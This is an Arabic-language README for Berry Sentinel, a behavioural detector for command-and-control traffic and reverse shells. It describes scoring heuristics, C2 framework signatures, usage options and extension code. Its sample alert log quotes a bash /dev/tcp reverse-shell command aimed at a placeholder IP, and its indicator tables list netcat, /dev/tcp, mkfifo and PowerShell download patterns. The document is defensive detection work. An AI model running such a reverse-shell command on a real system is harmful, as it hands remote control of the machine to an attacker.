
Berry Sentinel v5.0 — كاشف سلوكي متقدم لـ C2 و reverse shell لأنظمة Linux/Windows/Unix. يتميز بتحليل اتصال في الوقت الفعلي، heuristic scoring، كشف تواقيع إطار C2، beacon interval analysis، وواجهة TUI تفاعلية مبنية على curses مع process kill engine.
كاشف سلوكي لاتصالات C2 (القيادة والتحكم) في الوقت الحقيقي
بدون توقيع · تحصين متقدم · مسح عميق · محرك إيقاف
يقوم Berry Sentinel بمراقبة جميع اتصالات الشبكة النشطة في نظامك وتحليل سلوك العمليات التي تولدها للكشف عن النشاط الضار — دون استخدام قواعد بيانات توقيعات مضادات الفيروسات أو قوائم عناوين IP المحظورة.
يكشف عن الصدف العكسي (reverse shells)، وصدف الويب (webshells)، وأدوات التحكم عن بعد (RATs)، وإشارات C2، وأطر العمل مثل Meterpreter وCobalt Strike وSliver وEmpire من خلال ملاحظة كيفية تصرف العملية: إذا كان مترجم Python لديه stdin متصلًا بمقبس بعيد، فهذا مشبوه حتى لو كان عنوان IP غير معروف.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — كاشف سلوكي لـ C2 · واجهة TUI تفاعلية ║
║ الاتصالات: 38 │ التهديدات: 2 │ التوقيعات: 1 │ عبر proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTE الحالة التوقيعات/العلامات ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █حاسمة 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲عالية 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil اختياري لتغطية إضافية# استنساخ المستودع
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (اختياري لكن موصى به) تثبيت psutil
pip install psutil
# التشغيل
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # قد لا يكون curses متاحًا في Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [خيارات]
الخيارات:
--all, -a تضمين الاتصالات المحلية/الاسترجاعية (بالإضافة إلى البعيدة)
--interval N, -i N التحديث كل N ثانية (الافتراضي: 2، الحد الأدنى: 0.5)
--log FILE, -l FILE حفظ التنبيهات في ملف (تنسيق JSONL)
--json, -j تصدير JSON كامل عند الخروج
--whitelist LIST عناوين IP أو CIDR لتجاهلها، مفصولة بفواصل
--no-color بدون ألوان ANSI (مفيد للأنابيب أو السجلات)
--verbose, -v إظهار جميع الاتصالات، وليس فقط المشبوهة
--top N, -t N الحد الأقصى لعدد الصفوف في الجدول (الافتراضي: 50)
--diag, -d تشخيص: يظهر أي طرق الجمع تعمل
--no-tui وضع قديم بدون curses (تمرير كلاسيكي، أكثر قابلية للنقل)
--version, -V إظهار الإصدار والخروج
# واجهة TUI تفاعلية — الوضع الموصى به
python3 BerrySentinel.py
# مسح عميق مع صلاحيات الجذر (الوصول إلى ذاكرة العمليات)
sudo python3 BerrySentinel.py --all
# حفظ التنبيهات وتصدير JSON عند الانتهاء
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# تجاهل الشبكة الداخلية والتحديث كل 5 ثوانٍ
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# وضع النص لاستخدامه في البرامج النصية أو عبر SSH بدون محطة تفاعلية
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# عرض طرق الجمع التي تعمل على النظام الحالي
python3 BerrySentinel.py --diag --no-tui
# فقط التنبيهات الخطيرة، تحديث كل 10 ثوانٍ، حفظ السجل
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
يحصل كل اتصال على درجة من 0 إلى 100 بناءً على المؤشرات المكتشفة:
الشدة حسب الدرجة:
يتضمن Berry Sentinel توقيعات لأطر العمل التالية (التقييم بناءً على المنافذ، اسم العملية، سطر الأوامر، وأنماط الإشارات):
يتم تسجيل كل تنبيه كسطر JSON مستقل:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRITICAL",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
المعالجة باستخدام jq:
# تصفية الاتصالات الحرجة فقط
jq 'select(.sev == "CRITICAL")' sentinel.log
# عرض جميع PIDs المشبوهة
jq '[.pid] | unique' sentinel_export.json
# البحث بتوقيع محدد
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── الثوابت العامة
│ ├── SHELL_BINS, SCRIPT_ENGINES — أسماء الصدوع والمترجمات
│ ├── C2_SUSPECT_PORTS — المنافذ النموذجية لـ C2
│ ├── PRIVATE_NETS — نطاقات IP الخاصة
│ └── C2_SIGNATURES — توقيعات الأطر المعروفة
│
├── نماذج البيانات
│ ├── C2Signature — تعريف توقيع C2
│ ├── ProcInfo — معلومات عملية من نظام التشغيل
│ ├── Conn — اتصال شبكة + نتيجة التحليل
│ └── BeaconTracker — كاشف إشارات C2
│
├── جمع البيانات
│ ├── Collector — ينسق مصادر الشبكة المتعددة
│ ├── parse_proc_net_content() — محلل /proc/net/*
│ ├── build_inode_pid_map() — خريطة inode→PID
│ ├── get_proc_info() — معلومات العملية عبر /proc
│ └── get_proc_info_psutil() — معلومات العملية عبر psutil
│
├── التحليل
│ ├── Engine.analyze() — التهديف + العلامات السلوكية
│ ├── Engine._beacon() — كشف الإشارات
│ └── match_signatures() — مطابقة توقيعات C2
│
├── الإخراج
│ ├── CursesTUI — واجهة TUI تفاعلية (الوضع الافتراضي)
│ ├── LegacyTUI — إخراج ANSI بدون curses (البديل)
│ └── Logger — سجل JSONL على القرص
│
└── Sentinel — المنسق الرئيسي
psutil — اختياري ولكن موصى به بشدة (pip install psutil)بدون تبعيات إضافية، تعمل الأداة باستخدام مكتبة Python القياسية. يضيف psutil تغطية في macOS و Windows حيث لا يوجد /proc.
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MyRAT",
description="أداة RAT داخلية مؤسسية غير مصرح بها",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[تنبيه] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"الدرجة={conn.score:.0f} العلامات={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MyEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# إضافة منطق خاص
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
تم تصميم Berry Sentinel لـ مراقبة نظامك الخاص أو الأنظمة التي لديك إذن صريح عليها. يعمل محرك الإيقاف فقط عندما يطلبه المستخدم صراحة. استخدمه بطريقة مسؤولة ووفقًا للقوانين السارية في نطاق اختصاصك.
MIT — راجع LICENSE
| المفتاح | الإجراء |
|---|
↑ / ↓ | التنقل بين الاتصالات |
d / D | عرض لوحة تفاصيل الاتصال المحدد |
k / K | إنهاء العملية (يطلب تأكيد PID) |
f / F | تدوير مرشح الشدة: ALL → MEDIUM → HIGH → CRITICAL |
r | فرض تحديث فوري |
ESC | إغلاق لوحة التفاصيل أو إلغاء العملية |
q | خروج |
| المؤشر | النقاط | العلامة |
|---|
| stdin/stdout → مقبس | +55 | FD→SOCK |
| صدفة ثنائية مع اتصال عن بعد | +40 | SHELL→NET |
| صدفة ويب (shell كابن لـ Apache/Nginx) | +35 | WEBSHELL |
| صدفة ربط (bind shell) على منفذ عالٍ | +35 | BIND-SHELL |
| استخدام netcat/socat | +35 | NETCAT |
إعادة توجيه /dev/tcp أو mkfifo | +40 | PIPE-REDIR |
| ملف تنفيذي محذوف من القرص | +25 | EXE-DEL! |
ملف تنفيذي في /tmp أو /dev/shm | +15 | EXE-TMP |
| كشف إشارة (beacon) (اتصال دوري) | +25×conf | BCN(60s) |
| توقيع Meterpreter | +55 | SIG:Meterpreter |
| توقيع Cobalt Strike | +60 | SIG:CobaltStrike |
| توقيع Sliver | +58 | SIG:Sliver |
| مناطق ذاكرة RWX | +20 | RWX(N) |
| LD_PRELOAD أو HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| مترجم نصوص متصل | +25 | INTERP→NET |
| eval/exec في سطر الأوامر | +18 | EVAL |
| PowerShell عن بعد (IEX, DownloadString) | +30 | PS-REM |
| الدرجة | الشدة | اللون |
|---|
| ≥ 65 | حرجة | 🔴 أحمر ساطع |
| ≥ 45 | عالية | 🟠 برتقالي |
| ≥ 25 | متوسطة | 🟡 أصفر |
| ≥ 8 | منخفضة | 🔵 سماوي |
| < 8 | معلوماتية | ⚪ رمادي |
| الإطار | مكافأة النقاط | المؤشرات الرئيسية |
|---|
| Meterpreter | +55 | المنفذ 4444، العملية ruby/msfconsole |
| Cobalt Strike | +60 | المنفذ 50050، إشارة ~60s، العملية java |
| Sliver | +58 | المنفذ 31337/8888، إشارة ~60s |
| Empire | +55 | المنفذ 1234/7777، PowerShell -enc |
| Brute Ratel | +62 | المنفذ 2083، العملية badger |
| Havoc | +58 | المنفذ 40056، demon.x64/x86 |
| Pupy RAT | +52 | المنفذ 9999، pupy.py |
| Merlin | +54 | المنفذ 8443، merlin-agent |
| Covenant | +54 | المنفذ 7443، GruntHTTP |
| PoshC2 | +52 | FComServer، ImplantCore |
| Mythic | +56 | المنفذ 7443، poseidon/apfell |
| QuasarRAT | +50 | المنافذ 4782-4785 |
| NetcatShell | +45 | socat exec bash، pty |
| DNS-C2 | +40 | المنفذ 53، dnscat/iodine |
| النظام | الدعم | ملاحظات |
|---|
| Linux | ✅ كامل | مع صلاحيات الجذر يتم تفعيل المسح العميق |
| Android/Termux | ✅ كامل | استخدم --no-tui إذا فشل curses |
| macOS | ⚠️ جزئي | بدون /proc؛ يستخدم netstat+psutil |
| Windows | ⚠️ جزئي | netstat+psutil، بدون تحليل الذاكرة |